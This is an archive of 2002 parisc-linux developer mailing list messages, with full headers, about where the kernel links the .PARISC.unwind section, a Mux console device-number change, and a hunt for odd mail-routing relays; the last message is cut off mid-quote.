List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16807

Hi All,

Where is the "Section: .PARISC.unwind" for palinux2.0w doing an elfdump on the
kernel I don't see it?

Is it implemented differently

Thanx in advance
Phi


--
mailto:Philippe_Benard@hp.com [ HPS-SE HP-UX kernel debugging tools ]


From - Thu Nov 08 21:25:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] .PARISC.unwind where is it for pa2.0w?
Date: Thu, 14 Nov 2002 13:33:26 +0000
Lines: 25
Approved: news@gmane.org
Message-ID: <20021114133326.W30392@parcelfarce.linux.theplanet.co.uk>
References: <3DD2C4E5.7000001@gmx.at> <20021113215411.GB32441@beavis.ybsoft.com> <3DD3A56F.665A0FB4@hpfrcu81.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621930 16963 80.91.229.3 (22 Nov 2014 02:05:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:30 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: phi <phi@hpfrcu81.france.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 14 06:33:33 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5BD44482E
	for <parisc-linux@lists.parisc-linux.org>; Thu, 14 Nov 2002 06:33:32 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18CK7a-00059F-00; Thu, 14 Nov 2002 13:33:26 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <3DD3A56F.665A0FB4@hpfrcu81.france.hp.com>; from phi@hpfrcu81.france.hp.com on Thu, Nov 14, 2002 at 02:30:23PM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16808

On Thu, Nov 14, 2002 at 02:30:23PM +0100, phi wrote:
> Hi All,
> 
> Where is the "Section: .PARISC.unwind" for palinux2.0w doing an elfdump on the
> kernel I don't see it?
> 
> Is it implemented differently

looks like we link it into the .text section:

  .text BLOCK(16) : {
        *(.text*)
        *(.PARISC.unwind)
        *(.fixup)
        *(.lock.text)           /* out-of-line lock text */
        *(.gnu.warning)
        } = 0

(arch/parisc/vmlinux64.lds for linux-2.4; arch/parisc/vmlinux.lds.S
for linux-2.5).  why we do this, i don't know; i'm not a toolchain kind
of guy ;-)

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:25:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [IMPORTANT] PDC & Mux console major number changed
Date: Thu, 14 Nov 2002 15:13:44 +0000
Lines: 13
Approved: news@gmane.org
Message-ID: <20021114151344.Y30392@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621931 16966 80.91.229.3 (22 Nov 2014 02:05:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:31 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 14 08:13:49 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3C740482E
	for <parisc-linux@parisc-linux.org>; Thu, 14 Nov 2002 08:13:49 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18CLge-0007Kl-00
	for parisc-linux@parisc-linux.org; Thu, 14 Nov 2002 15:13:44 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16809

Now that we've been assigned an official major number for Mux, and had
it accepted into 2.5, I've changed 2.4.20-rc1-pa2 to use that number.
So if you're using an E class, a K class or a D/R class with the funky
console thing, before you upgrade from 2.4.19, you MUST rm /dev/ttyB0
and replace it with:

mknod /dev/ttyB0 c 11 0

Yes, breakage like this sucks, but I'd rather do it now than later.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:25:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] .PARISC.unwind where is it for pa2.0w?
Date: Thu, 14 Nov 2002 08:37:53 -0800
Lines: 18
Approved: news@gmane.org
Message-ID: <20021114163753.GI8261@tausq.org>
References: <3DD2C4E5.7000001@gmx.at> <20021113215411.GB32441@beavis.ybsoft.com> <3DD3A56F.665A0FB4@hpfrcu81.france.hp.com> <20021114133326.W30392@parcelfarce.linux.theplanet.co.uk>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621931 16967 80.91.229.3 (22 Nov 2014 02:05:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:31 +0000 (UTC)
Cc: phi <phi@hpfrcu81.france.hp.com>,
	"parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 14 09:34:50 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0997C482E
	for <parisc-linux@lists.parisc-linux.org>; Thu, 14 Nov 2002 09:34:50 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 43A7BCDB18; Thu, 14 Nov 2002 08:37:53 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <20021114133326.W30392@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16810

> > Where is the "Section: .PARISC.unwind" for palinux2.0w doing an elfdump on the
> > kernel I don't see it?
> > 
> > Is it implemented differently
> 
> looks like we link it into the .text section:

in the kdb branch this was moved (perhaps more appropriately) to the
data section, and surrounded by markers so that you can find the
begin/end. i will add this change to the 2.5 branch. In fact, it
probably should be in the rodata section....

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:25:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bjoern A. Zeeb" <bzeeb-lists@lists.zabbadoz.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] strange mail routing problem for mail from this list
Date: Thu, 14 Nov 2002 19:37:55 +0000 (UTC)
Lines: 42
Approved: news@gmane.org
Message-ID: <Pine.BSF.4.44.0211141928040.39295-100000@e0-0.zab2.int.zabbadoz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621931 16971 80.91.229.3 (22 Nov 2014 02:05:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:31 +0000 (UTC)
Cc: "Bjoern A. Zeeb" <bzeeb-lists@lists.zabbadoz.net>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 14 12:38:50 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from transport.cksoft.de (transport.cksoft.de [62.111.66.27])
	by dsl2.external.hp.com (Postfix) with ESMTP id D3CA2482E
	for <parisc-linux@lists.parisc-linux.org>; Thu, 14 Nov 2002 12:38:49 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by transport.cksoft.de (Postfix) with ESMTP id 96B461FFECD
	for <parisc-linux@lists.parisc-linux.org>; Thu, 14 Nov 2002 20:38:44 +0100 (CET)
Original-Received: by transport.cksoft.de (Postfix, from userid 66)
	id E56771FFED7; Thu, 14 Nov 2002 20:38:43 +0100 (CET)
Original-Received: by mail.int.zabbadoz.net (Postfix, from userid 1060)
	id 19CC022E18; Thu, 14 Nov 2002 19:37:56 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
	by mail.int.zabbadoz.net (Postfix) with ESMTP
	id 10A9022E13; Thu, 14 Nov 2002 19:37:56 +0000 (UTC)
X-X-Sender: bz@e0-0.zab2.int.zabbadoz.net
X-Virus-Scanned: by AMaViS snapshot-20020300
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16811

Hi,

I have seen some strange headers on the mail from Grant Grundler's
reply to my posting regarding "[2.5] rtc doesn't build".
I noticed this because the mail came in with a delay > 1 day.

The problem here seems that the mailsystems down under have nothing to
do with either hp, parisc or my mailhosts from what I know.

My question to the list would be if anybody else received mails from
the list going through these systems.

a simple grep for 144.249.122.105 and 212.125.75.12 should be
sufficient.

for me this was:
	egrep -E '(144.249.122.105|212.125.75.12)' Mail/LISTS.linux.parisc

if this is postive for you too please contact me off-list.

Thanks.

PS: the same simple grep should word for the maillogs on
parisc-linux.org if anybody else with access there can find the time.

-- 
Bjoern A. Zeeb				bzeeb at Zabbadoz dot NeT
56 69 73 69 74				http://www.zabbadoz.net/

> Received: from mail pickup service by naex017w.apci.com with Microsoft
>     SMTPSVC;
> 	 Wed, 13 Nov 2002 23:39:46 -0500
> Received: from Local ([144.249.122.105]) by 144.249.122.105 with Trend
>     Micro InterScan Messaging Security Suite for SMTP v5.01; Tue,
>      12 Nov 2002 14:01:07 -0500
...
> Received: from mail4.messagelabs.com ([212.125.75.12]) by Local with
>     Microsoft SMTPSVC(5.0.2195.4905);
> 	 Tue, 12 Nov 2002 14:01:07 -0500




From - Thu Nov 08 21:25:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] strange mail routing problem for mail from this 
 list
Date: Thu, 14 Nov 2002 13:33:24 -0700
Lines: 18
Approved: news@gmane.org
Message-ID: <20021114203325.0E161380D3@carmen.fc.hp.com>
References: <Pine.BSF.4.44.0211141928040.39295-100000@e0-0.zab2.int.zabbadoz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621931 16988 80.91.229.3 (22 Nov 2014 02:05:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:31 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Bjoern A. Zeeb" <bzeeb-lists@lists.zabbadoz.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 14 13:33:29 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel9.hp.com (atlrel9.hp.com [156.153.255.214])
	by dsl2.external.hp.com (Postfix) with ESMTP id D26CF482E
	for <parisc-linux@lists.parisc-linux.org>; Thu, 14 Nov 2002 13:33:29 -0700 (MST)
Original-Received: from smtp1.fc.hp.com (smtp1b.fc.hp.com [15.15.136.127])
	by atlrel9.hp.com (Postfix) with ESMTP
	id D0AEBE01416; Thu, 14 Nov 2002 15:33:25 -0500 (EST)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.1.50.190])
	by smtp1.fc.hp.com (Postfix) with ESMTP
	id 98E5B37ED1; Thu, 14 Nov 2002 13:33:25 -0700 (MST)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by ldl.fc.hp.com (Postfix) with ESMTP
	id 8D44A45E2; Thu, 14 Nov 2002 13:33:25 -0700 (MST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 0E161380D3; Thu, 14 Nov 2002 13:33:25 -0700 (MST)
X-Mailer: exmh version 2.5 07/13/2001 (debian 2.5-1) with nmh-1.0.4+dev
In-Reply-To: Message from "Bjoern A. Zeeb" <bzeeb-lists@lists.zabbadoz.net> 
   of "Thu, 14 Nov 2002 19:37:55 GMT." <Pine.BSF.4.44.0211141928040.39295-100000@e0-0.zab2.int.zabbadoz.net> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16812

"Bjoern A. Zeeb" writes...

[snip]
> a simple grep for 144.249.122.105 and 212.125.75.12 should be
> sufficient.
[snip]
> PS: the same simple grep should word for the maillogs on
> parisc-linux.org if anybody else with access there can find the time.

No occurance of those IPs or "messagelabs.com" in any of the 
parisc-linux.org mail logs.

-- 
Matt Taggart
taggart@fc.hp.com




From - Thu Nov 08 21:25:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] strange mail routing problem for mail from this
Date: Thu, 14 Nov 2002 17:03:50 -0500 (EST)
Lines: 20
Approved: news@gmane.org
Message-ID: <200211142203.gAEM3ppD012983@hiauly1.hia.nrc.ca>
References: <20021114203325.0E161380D3@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621932 16991 80.91.229.3 (22 Nov 2014 02:05:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:32 +0000 (UTC)
Cc: bzeeb-lists@lists.zabbadoz.net,
	parisc-linux@lists.parisc-linux.org
To: taggart@carmen.fc.hp.com (Matt Taggart)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 14 15:03:57 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 499C8482E
	for <parisc-linux@lists.parisc-linux.org>; Thu, 14 Nov 2002 15:03:57 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id gAEM3pot012984;
	Thu, 14 Nov 2002 17:03:51 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id gAEM3ppD012983;
	Thu, 14 Nov 2002 17:03:51 -0500 (EST)
In-Reply-To: <20021114203325.0E161380D3@carmen.fc.hp.com> from "Matt Taggart" at Nov 14, 2002 01:33:24 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16813

> "Bjoern A. Zeeb" writes...
> 
> [snip]
> > a simple grep for 144.249.122.105 and 212.125.75.12 should be
> > sufficient.
> [snip]
> > PS: the same simple grep should word for the maillogs on
> > parisc-linux.org if anybody else with access there can find the time.
> 
> No occurance of those IPs or "messagelabs.com" in any of the 
> parisc-linux.org mail logs.

This might be related to the "Antispam" messages that senders on the
list were receiving.  I received messages of the type above.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:25:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [IMPORTANT] PDC & Mux console major number changed
Date: Thu, 14 Nov 2002 23:23:21 +0100
Organization: private
Lines: 48
Approved: news@gmane.org
Message-ID: <3DD42259.2070106@gmx.at>
References: <20021114151344.Y30392@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621932 16994 80.91.229.3 (22 Nov 2014 02:05:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:32 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 14 15:17:10 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from viefep12-int.chello.at (viefep12-int.chello.at [213.46.255.25])
	by dsl2.external.hp.com (Postfix) with ESMTP id 56340482E
	for <parisc-linux@parisc-linux.org>; Thu, 14 Nov 2002 15:17:09 -0700 (MST)
Original-Received: from gmx.at ([62.178.92.247]) by viefep12-int.chello.at
          (InterMail vM.5.01.05.12 201-253-122-126-112-20020820) with ESMTP
          id <20021114221703.JKYM4035.viefep12-int.chello.at@gmx.at>;
          Thu, 14 Nov 2002 23:17:03 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.1) Gecko/20020830
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16814

Hello,

I do not think it is a good idea to have the same MAJOR for PDC console
and MUX driver. Those drivers are different in concept, and the PDC
driver is valid for ALL HP machines, independent if it is a 720, 712
800er, ..... The PDC driver used the ROM support and can be used
as fall back in any case.

The MUX driver is the serial driver for those special hardware of HP.
This driver can be handled in two ways:
- Let it be an own driver with special devices, like
		/dev/ttyX0..7 or /dev/ttyM0..7 (or whatever ...)
- Let it become the "default" serial device:
		/dev/ttyS0../dev/ttyS7
   This is only possible, if there is no HP with a 16450-class UART
   and a MUX !!!

So IMO it is better to use the /dev/ttySn for MUX and 16450-like UART
instead of using MUX together with PDC !
PDC is generic and NOT for special HPs. On special HP it is the only
method to use PDC console or now MUX.


With friendly regards
Christoph P.



Matthew Wilcox wrote:
> Now that we've been assigned an official major number for Mux, and had
> it accepted into 2.5, I've changed 2.4.20-rc1-pa2 to use that number.
> So if you're using an E class, a K class or a D/R class with the funky
> console thing, before you upgrade from 2.4.19, you MUST rm /dev/ttyB0
> and replace it with:
> 
> mknod /dev/ttyB0 c 11 0
> 
> Yes, breakage like this sucks, but I'd rather do it now than later.
> 



-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at



From - Thu Nov 08 21:25:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bjoern A. Zeeb" <bzeeb-lists@lists.zabbadoz.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] strange mail routing problem for mail from this
Date: Thu, 14 Nov 2002 22:32:57 +0000 (UTC)
Lines: 76
Approved: news@gmane.org
Message-ID: <Pine.BSF.4.44.0211142219580.39295-100000@e0-0.zab2.int.zabbadoz.net>
References: <200211142203.gAEM3ppD012983@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621932 16997 80.91.229.3 (22 Nov 2014 02:05:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:32 +0000 (UTC)
Cc: Matt Taggart <taggart@carmen.fc.hp.com>,
	"Bjoern A. Zeeb" <bzeeb-lists@lists.zabbadoz.net>,
	<parisc-linux@lists.parisc-linux.org>
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 14 15:32:37 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from transport.cksoft.de (transport.cksoft.de [62.111.66.27])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7E84B482E
	for <parisc-linux@lists.parisc-linux.org>; Thu, 14 Nov 2002 15:32:36 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by transport.cksoft.de (Postfix) with ESMTP
	id 5ADB21FFECD; Thu, 14 Nov 2002 23:32:31 +0100 (CET)
Original-Received: by transport.cksoft.de (Postfix, from userid 66)
	id A3D4E1FFEDA; Thu, 14 Nov 2002 23:32:30 +0100 (CET)
Original-Received: by mail.int.zabbadoz.net (Postfix, from userid 1060)
	id 0593722E18; Thu, 14 Nov 2002 22:32:57 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
	by mail.int.zabbadoz.net (Postfix) with ESMTP
	id F039022E17; Thu, 14 Nov 2002 22:32:57 +0000 (UTC)
X-X-Sender: bz@e0-0.zab2.int.zabbadoz.net
In-Reply-To: <200211142203.gAEM3ppD012983@hiauly1.hia.nrc.ca>
X-Virus-Scanned: by AMaViS snapshot-20020300
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16815

On Thu, 14 Nov 2002, John David Anglin wrote:

> > "Bjoern A. Zeeb" writes...
> >
> > [snip]
> > > a simple grep for 144.249.122.105 and 212.125.75.12 should be
> > > sufficient.
> > [snip]
> > > PS: the same simple grep should word for the maillogs on
> > > parisc-linux.org if anybody else with access there can find the time.
> >
> > No occurance of those IPs or "messagelabs.com" in any of the
